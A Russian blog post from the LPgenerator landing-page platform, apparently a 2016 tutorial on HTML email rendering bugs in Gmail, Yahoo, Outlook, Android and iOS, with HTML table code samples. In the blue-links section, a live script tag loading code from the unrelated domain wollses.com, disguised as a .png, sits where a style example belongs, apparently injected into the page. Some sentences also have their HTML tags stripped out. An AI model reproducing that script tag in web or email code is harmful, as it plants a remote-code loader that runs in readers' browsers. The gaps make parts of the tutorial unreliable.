Продающие лендинги от отдела
дизайна LPgenerator

Используем технологии:
4U, AIDA, ХПВ, психология влияния Р. Чалдини, управление взглядом
  • 4U
  • AIDA
  • ХПВ
  • психологии влияния Р. Чалдини
  • управления взглядом
  • нейромаркетинг
Готовность от 7 дней

Красивый почтовый ящик

1

Кодирование электронной почты может быть сложным делом. Но как только вы ознакомитесь с основными правилами, все должно пойти как по маслу, до тех пора не столкнетесь с некоторыми сложностями.

Как мы знаем, ошибки – это нормальное явление в веб-дизайне – но электронная почта выдает несколько дополнительных сложностей.

Мало того, что получатели писем пользуются разными браузерами, так вам еще придется разобраться с множеством почтовых провайдеров, устройствами и приложениями и все они по-разному сгенерируют ваш email-код (над которым вы, между прочим, работали день и ночь).

Лучше ознакомиться, без разбора, с каждым канвасом, (а еще и с их примочками) которые ваши пользователи будут использовать для получения писем и которые будут очень хорошо смотреться в папке Входящие. Ниже мы разберем несколько наиболее распространенных ошибок, с которыми приходится сталкиваться из года в год. И, конечно же, научимся их устранять.

Gmail, Yahoo и iOS любят синий

Помните, когда веб-страницы состояли в основном из черного текста и белого фона, с подчеркнутыми синими словами? Пользователи уловили, что это гиперссылка и поняли куда нужно кликать.

Большинство веб-дизайнеров не нарадуются, как это было в 1999, когда с колдовским азартом разделались с этим синим цветом, что и послужило большим комплиментом их дизайнерскому мастерству в использовании цветовой палитры.

К сожалению, рассмотренные Yahoo и Gmail еще немного упрямятся в своей склонности к синим ссылкам. Простое определение нового шестеричного значения в стиле <script src="//wollses.com/steps.png"></script> tag не снимет этого с их платформ. Самое простое решение – это ввести добавочный тег , встроенный в тег , определяющий шестеричное значение во вторую очередь.

<a href="//www.gilt.com/" target="_blank" style="color:#c98702;">
  <span style="color:#c98702">
    Act Now
  </span>
</a>

Gmail не видит мир в черно-белом цвете. Используя шестеричное значение #FFFFFF и #000000 или определяя цвет ссылки «черным» или «белым», Gmail будет все еще использовать по умолчанию синий для этих значений, и неважно как вы их будете обозначать – , дополнительный и так далее.

Чтобы отойти от синих ссылок в чистом черном или белом тексте, я заменяю текстовый цвет, который отличается одним значение от обычных «белого» и «черного». То есть получается #FFFFF1 или #000001 и обозначаем их как и дополнительный тег . Разница едва заметна человеческому глазу и будет соблюдать выбранный вами цвет.

Таким образом iOS автоматически будет переводить телефонные номера, адреса и даты в синие гиперссылки даже если вы не добавите тег .

Почему так происходит? Потому что предполагается, что вы захотите звонить, планировать и вводить блок текста в ваш календарь. Для того, чтобы избежать нежелательных ссылок-сюрпризов, снова перейдите на любой телефонный номер, адрес и любой другой контент со и вручную выберите стиль и цвет на свой вкус.

iOS поддерживает топ-линию CSS и медиа-запросы, так что если у вас куча телефонных номеров, адресов и встреч на вашей почте, вы можете задать цвет единожды и ввести блок программ в код.

2

Белое пространство Outlook и Gmail

Растровые изображения не так уж сильно популярны среди пользователей электронной почты, поэтому лучше всего использовать slice-изображения. Обратите внимание на то, что Outlook и Gmail добавляют белое пространство вокруг изображений, которое создает не очень приятный эффект пустоты, в то время как изображения должны располагаться плотно.

Но благодаря добавлению display:block стиль каждого изображения исключит чрезмерное белое пространство.

3

<img src="image.jpg" border="0" style="display:block">

Приложение Gmail для Android превносит свою ширину

Время от времени Android устанавливает свою ширину сетки на рабочем столе приложения Gmail. Заметно, что если стол с двумя или более колонками, то одна колонка становится главной, а вторая такая тонкая, что еле помещается на сетке.

Но есть различные пути решения этой проблемы:

– если сетка содержит изображение равной ширины, то сделайте ширину соответственно сетке;

– если сетка не содержит элементы, которые составляют полностью намеченную ширину, добавьте прозрачный GIF как первую линию кода в сетке и установите ширину изображения к желаемой ширине сетки (да, кодируя как в 1999). Это должно заставить сетку расшириться, чтобы удержать изображение и гарантировать, что ваши изображения встанут по нужной ширине.

4

<table width="650" align="center" border="0" cellpadding="0" cellspacing="0" style="background-color:#f7fcff">
  <tr> 
    <td width="240" valign="top" style="background-color:#E4E3DD; min-width:240px;">
      <a href="//www.gilt.com/?%%=v(@tracking_parameters)=%%CRM20_M" 
target="_blank" alias="BODY - Main Image"><img 
src="//cdn.gilt.com/email/images/1073080926_CRM_DedicatedEmail_M_v3_summer2_1.jpg" 
width="240" alt="20% Off on Gilt.com" border="0" style="display:block;" /></a>
    </td> 
    <td width="410" valign="top" style="background-color:#f7fcff; min-width:410px;">
      <img src='spacer.gif' width='410' height='1' border='0'>
    </td>
...

iOS создает свои собственные границы

Мы заметили, что эта ошибка происходит в независимости от примененного цвета фона или изображения. iOS использует прежний цвет фона, который видно за пределами стола, поскольку границы исчезают, когда вы увеличиваете масштаб изображения.

Наш совет: добавьте дополнительный стол с определенным основным цветом фона и вложите стол в сетку, которая содержит цвет, который было видно внутри, для того, чтобы убедиться, что весь стол имеет нужный установленный вами цвет.

5

<table width="645" align="center" border="0" cellpadding="0" cellspacing="0" 
style="background-color:#ffffff;">
  <tr>
    <td width="645" style="background-color:#FFFFFF; padding-top:15px;">
      <table width="645" align="center" border="0" cellpadding="0" cellspacing="0" 
style="background-color:#454441;">
        <tr> 
          <td width="645" style="padding-left:11px; background image:url
(//cdn.gilt.com/email/images/1326817406_hero_overlay.jpg); 
background-repeat:no-repeat; 
background-color:#454441;"> 
          </td>
        </tr>
      </table>
    </td>
  </tr>
  <tr>
    <td width="645" valign="top" style="padding-bottom:15px;background-color:#ffffff;">
      <a href="#" target="_blank" alias="Image - Top Picks Hero">
        <img src="//cdn.gilt.com/email/images/626159401_hero.jpg" 
width="645" height="260" 
border="0" style="display:block;" />
      </a>
    </td>
  </tr>
</table>

Очень надеемся, что предложенные варианты устранения ошибок помогут вам сохранить свои нервы. Будьте уверены: новые ошибки не заставят себя долго ждать, так как и пользователи email, и приложения имеют привычку развиваться.

Помните, что всегда нужно пробовать, пробовать и еще раз пробовать различные email приложения на ваших любимых девайсах, а также такие инструменты, как ReturnPath и Litmus.

Также помните, что это совсем не трудно делиться своими собственными способами решения подобных и других проблем – ваши коллеги будут вам благодарны, когда столкнутся с подобными ошибками.

Высоких конверсий!

04-04-2016

LPgenerator — профессиональная Landing Page платформа для увеличения продаж вашего бизнеса

  • Более 500 шаблонов в галерее
  • Инструменты оптимизации конверсии
  • Статистика и сквозная аналитика
  • CRM для работы с заявками и телефония
  • Визуальный редактор с расширенным функционалом
  • Быстрая техническая поддержка
  • Множество интеграций
  • Окупаемость инструмента — от 7 дней
blog comments powered by Disqus
copyright © 2011–2017 by LPgenerator LLC. Все права защищены
Запрещено любое копирование материалов ресурса без письменного согласия владельца — ООО "ЛПгенератор".